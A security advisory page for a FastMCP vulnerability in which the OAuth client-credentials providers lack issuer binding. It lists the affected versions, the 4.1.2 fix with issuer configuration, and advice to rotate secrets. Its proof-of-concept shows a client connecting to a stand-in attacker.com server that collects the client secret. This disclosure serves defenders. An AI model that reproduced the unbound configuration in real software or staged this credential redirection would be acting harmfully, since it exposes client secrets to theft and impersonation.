GHSA-vqqp-x5qm-5qp4Medium· 5.9▾ SunlitFastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server
▾ Sunlit zone — Low / medium · no exploitation signal
impact 32.5 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.
Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.
The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.
Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.
from fastmcp.client.auth import ClientCredentialsOAuthProvider
auth = ClientCredentialsOAuthProvider(
client_id="my-client-id",
client_secret="my-client-secret",
issuer="https://auth.example.com",
)
fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.
When fastmcp connects to an MCP server with OAuth client credentials:
Affected code:
fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)
fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)
The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.
Example vulnerable usage:
auth = ClientCredentialsOAuthProvider(
client_id="my-client-id",
client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
# Client credentials get sent to attacker's auth server if attacker's MCP
# server advertises it in RFC 9728 metadata
await client.list_tools()
Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token
Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider
auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()
Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)
Attacker receives client_id and client_secret in Basic auth header
Attacker can now impersonate the client against the legitimate authorization server
The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.
Severity: Medium-High
Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.
Affected parties:
Attack scenarios:
fastmcp >= 4.0.0a1, < 4.1.2fastmcp-slim >= 4.0.0a1, < 4.1.2Upgrade to a patched release:
fastmcp 4.1.2fastmcp-slim 4.1.2Connected by shared product, vendor, weakness, or advisory.
GHSA-7xgj-8392-5q4rMedium· 6.8FastMCP: Post-transform component authorization is skipped on direct calls
CVE-2026-27124HighFastMCP: Missing Consent Verification in OAuth Proxy Callback Facilitates Confused Deputy Vulnerabilities
CVE-2025-64340Medium· 6.7FastMCP has a Command Injection vulnerability - Gemini CLI
CVE-2025-62801High· 7.8FastMCP is the standard framework for building MCP applications
CVE-2025-62800Medium· 6.1FastMCP is the standard framework for building MCP applications
CVE-2026-32871Critical· 10.0FastMCP is a Pythonic way to build MCP servers and clients